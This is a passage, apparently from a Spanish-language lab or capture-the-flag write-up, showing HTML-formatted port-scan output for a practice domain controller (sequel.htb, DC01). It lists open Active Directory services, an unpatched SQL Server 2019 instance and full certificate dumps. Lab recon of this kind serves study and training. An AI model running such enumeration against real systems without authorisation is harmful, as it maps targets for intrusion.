&lt;h3 id="enumeración"&gt;Enumeración&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE REASON VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;53&lt;/span&gt;/tcp open domain syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Simple DNS Plus
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;88&lt;/span&gt;/tcp open kerberos-sec syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows Kerberos (server time&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;01&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;11&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;59&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;43Z)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;135&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;139&lt;/span&gt;/tcp open netbios-ssn syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows netbios-ssn
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;445&lt;/span&gt;/tcp open microsoft-ds? syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;464&lt;/span&gt;/tcp open kpasswd5? syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;593&lt;/span&gt;/tcp open ncacn_http syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC over HTTP &lt;span style="color:#ae81ff"&gt;1.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;636&lt;/span&gt;/tcp open ssl/ldap syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows Active Directory LDAP (Domain&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; sequel.htb0., Site&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Default-First-Site-Name)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ssl-cert&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Subject&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Subject Alternative Name&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; DNS&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;DC01.sequel.htb, DNS&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;sequel.htb, DNS&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;SEQUEL
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Issuer&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; commonName=sequel-DC01-CA/domainComponent=sequel
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Public Key type&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; rsa
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Public Key bits&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2048&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Signature Algorithm&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; sha256WithRSAEncryption
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Not valid before&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;06&lt;/span&gt;-26T11&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;46&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;45&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Not valid after&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2124&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;06&lt;/span&gt;-08T17&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;00&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;40&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| MD5&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; b55a&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;a63f&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;50ba&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ed44&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;f865&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;820a&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;5b8e&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;f493
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| SHA-&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; a87b&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;9555&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;5164&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;74d3&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;f73f&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;bded&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;72e7&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;baab&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;db76&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;c12a
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| -----BEGIN CERTIFICATE-----
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| MIIF6TCCBNGgAwIBAgITVAAAAAVjf8S2XKAtZAAAAAAABTANBgkqhkiG9w0BAQsF
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ADBGMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGc2VxdWVs
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| MRcwFQYDVQQDEw5zZXF1ZWwtREMwMS1DQTAgFw0yNTA2MjYxMTQ2NDVaGA8yMTI0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| MDYwODE3MDA0MFowADCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAN6t
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| PbrDaBr7iaqtpFrlC5txEmOlllkSRMtLsld7ZgwcBdmU4UU31oiAciONnCqnuXEg
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| EsrgGO3Nufzbu66sgkMqtTd0MyiYb5+wVTqL5FxRXJCyyLnmjdoKdemZ9uqpwVRw
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| RXR502G1YGNVtPFffxbU9vvcIe1SaIUvL9QXVkzJuze8a7mlQ964CPER4T9v3Q96
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| 3RK8DHm64/EqR1hPMKAuIfHftAX5a67ARnVwBiXn3dItESQJoLliq+hsoXvcDxfA
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| iBP0uOgLrKyZrKMNFOsPpFe4GwGxrNmVeigHRF9/IPzXmDJZC1C+ieIBL3J1tzOD
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| 0RrwhK5LRVOijIkBsnECAwEAAaOCAxIwggMOMDcGCSsGAQQBgjcVBwQqMCgGICsG
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| AQQBgjcVCIOFgESHvJM3hdGJJcLeUoTxqjiBKQEhAgFuAgECMDIGA1UdJQQrMCkG
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| CCsGAQUFBwMCBggrBgEFBQcDAQYKKwYBBAGCNxQCAgYHKwYBBQIDBTAOBgNVHQ8B
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Af8EBAMCBaAwQAYJKwYBBAGCNxUKBDMwMTAKBggrBgEFBQcDAjAKBggrBgEFBQcD
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ATAMBgorBgEEAYI3FAICMAkGBysGAQUCAwUwHQYDVR0OBBYEFD3FI2lBcJiy3qh6
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| t0wOZkt5ZV4EMB8GA1UdIwQYMBaAFMZBubbkDkfWBlps8YrGlP0a+7jDMIHIBgNV
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| HR8EgcAwgb0wgbqggbeggbSGgbFsZGFwOi8vL0NOPXNlcXVlbC1EQzAxLUNBLENO
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| PURDMDEsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Y2VzLENOPUNvbmZpZ3VyYXRpb24sREM9c2VxdWVsLERDPWh0Yj9jZXJ0aWZpY2F0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlzdHJpYnV0aW9u
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| UG9pbnQwgb8GCCsGAQUFBwEBBIGyMIGvMIGsBggrBgEFBQcwAoaBn2xkYXA6Ly8v
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Q049c2VxdWVsLURDMDEtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtleSUyMFNlcnZp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Y2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9c2VxdWVsLERDPWh0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Yj9jQUNlcnRpZmljYXRlP2Jhc2U/b2JqZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| dGhvcml0eTAxBgNVHREBAf8EJzAlgg9EQzAxLnNlcXVlbC5odGKCCnNlcXVlbC5o
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| dGKCBlNFUVVFTDBNBgkrBgEEAYI3GQIEQDA+oDwGCisGAQQBgjcZAgGgLgQsUy0x
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| LTUtMjEtNTQ4NjcwMzk3LTk3MjY4NzQ4NC0zNDk2MzM1MzcwLTEwMDAwDQYJKoZI
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| hvcNAQELBQADggEBAILdYpMzCMJ2jrzMqFcZs5zRq1lDJA7Q1W9cZXZpZktTkXdA
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| cEkRlcLQN9ZxvydKHdR053nIGNXcVn7CHpK8OU6sleyY0RRm/hktREv53L3tt0i7
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Dks9d14cTKN5+r1aQmeCJo7bRdeeiQcMKDyyKndI4Tn03XWjYS0yOem+2PrrANgs
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| 2YWLg6LrslYnHB0xMFup6da7ueNpuRxwekBen20P6v6R3STGascvNVqBNBpNTMRo
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| CpokbunsA+8Bqqt3IWX5/Og2wCBL2v/dPiyjSQ3WYOwguyjDF8gQdVMIsW25vUMc
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| 3UVUm1yCwc7rr5IEQAkXdTHzbNIHACbCvOotXZM=
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_-----END CERTIFICATE-----
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ssl-date: &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;01&lt;/span&gt;-11T11&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;01&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;13&lt;/span&gt;+&lt;span style="color:#ae81ff"&gt;00&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;00&lt;/span&gt;; -4s from scanner time.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;1433&lt;/span&gt;/tcp open ms-sql-s syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft SQL Server &lt;span style="color:#ae81ff"&gt;2019&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;15.00&lt;/span&gt;.2000.&lt;span style="color:#ae81ff"&gt;00&lt;/span&gt;; RTM
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ssl-date: &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;01&lt;/span&gt;-11T11&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;01&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;13&lt;/span&gt;+&lt;span style="color:#ae81ff"&gt;00&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;00&lt;/span&gt;; -4s from scanner time.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ms-sql-info:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.69.&lt;span style="color:#ae81ff"&gt;156&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1433&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Version&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| name&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Microsoft SQL Server &lt;span style="color:#ae81ff"&gt;2019&lt;/span&gt; RTM
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| number&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;15.00&lt;/span&gt;.2000.00
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Product&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Microsoft SQL Server &lt;span style="color:#ae81ff"&gt;2019&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Service pack level&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; RTM
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Post-SP patches applied&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; false
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ TCP port&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1433&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ms-sql-ntlm-info:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.69.&lt;span style="color:#ae81ff"&gt;156&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1433&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Target_Name&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; SEQUEL
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| NetBIOS_Domain_Name&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; SEQUEL
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| NetBIOS_Computer_Name&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; DC01
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| DNS_Domain_Name&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; sequel.htb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| DNS_Computer_Name&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; DC01.sequel.htb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| DNS_Tree_Name&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; sequel.htb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ Product_Version&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10.0&lt;/span&gt;.17763
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ssl-cert&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Subject&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; commonName=SSL_Self_Signed_Fallback
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Issuer&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; commonName=SSL_Self_Signed_Fallback
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Public Key type&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; rsa
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Public Key bits&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2048&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Signature Algorithm&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; sha256WithRSAEncryption
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Not valid before&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;01&lt;/span&gt;-11T10&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;58&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;38&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Not valid after&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2056&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;01&lt;/span&gt;-11T10&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;58&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;38&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| MD5&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 80d9&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;a446&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;754f&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;deb1&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;d297&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;c17c&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;fa92&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;c9d0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| SHA-&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 2f7a&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;4ab9&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;c724&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;0b71&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;6177&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1046&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;04bf&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;9ec0&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;538d&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;0af4
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| -----BEGIN CERTIFICATE-----
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| MIIDADCCAeigAwIBAgIQIP8Of/2gFJNJo0+BxnvIxjANBgkqhkiG9w0BAQsFADA7
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| MTkwNwYDVQQDHjAAUwBTAEwAXwBTAGUAbABmAF8AUwBpAGcAbgBlAGQAXwBGAGEA
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| bABsAGIAYQBjAGswIBcNMjYwMTExMTA1ODM4WhgPMjA1NjAxMTExMDU4MzhaMDsx
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| OTA3BgNVBAMeMABTAFMATABfAFMAZQBsAGYAXwBTAGkAZwBuAGUAZABfAEYAYQBs
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| AGwAYgBhAGMAazCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALZLb9hM
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| xXtQAfV/+O9Ij84F5+CiTZxLMYVHDP62+ZvJGhG7sNDVlH9b0XZQg7Q5n4Uu7bdb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| BEXqOrlY1eUQpx3adXIxEW904rvK9bnSfsptFOa/Qg7RtFrQOx9rV4A7RZMP1SMH
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| H/6EFyeB8VShZjzGnHoACxQpIK9HGNHg/HqQ8+O9huiBJgA6P8xgFjP//B77YMS2
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| pxv/XAZZHP8Ju9+SpOpCfBb4m8pugIatRJM2No9JUogVXvip90E/rGJY24cLu+Pi
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| 7MG99eBJoEcAOPNGBokNu85sNIBla3ibY1ebpWEfpGCyTL0BitFuwadHnotOhVIH
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| H6fVTr3nhmqWV60CAwEAATANBgkqhkiG9w0BAQsFAAOCAQEAinsUDlNe2rk07NMn
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;6&lt;/span&gt;+zTpKHtE4TqyVAuGCBDrMKU7IOrqG4jGFDZInzk+XLOk44RLqFsegEhGfLRYCvi
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| mTs8woPKwvWGNMmeejvcv4MLPiWwXB2XxRCez5Th6opGkjdQ0ST5rmmccpO6F6st
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| hpmfIK7YX5s2X0MqarSZ9NL3UKVvsVPhYhsBRuqH0W+eodTo9mzIsvnKVz9/dD5M
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| 8KgyW2QPJ1Lso8Vm4pCJNmLt4fWD/6niODCpbV1f+JcGat/r3W9w/7O9Gc2zlwU+
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| l6By9y3WYwluHPP3y6t2fKV/lWzUa1InhxO7OkuY9kSBhVVtnJd8BZ6v5gsx2XgX
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| MfYJIQ==
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_-----END CERTIFICATE-----
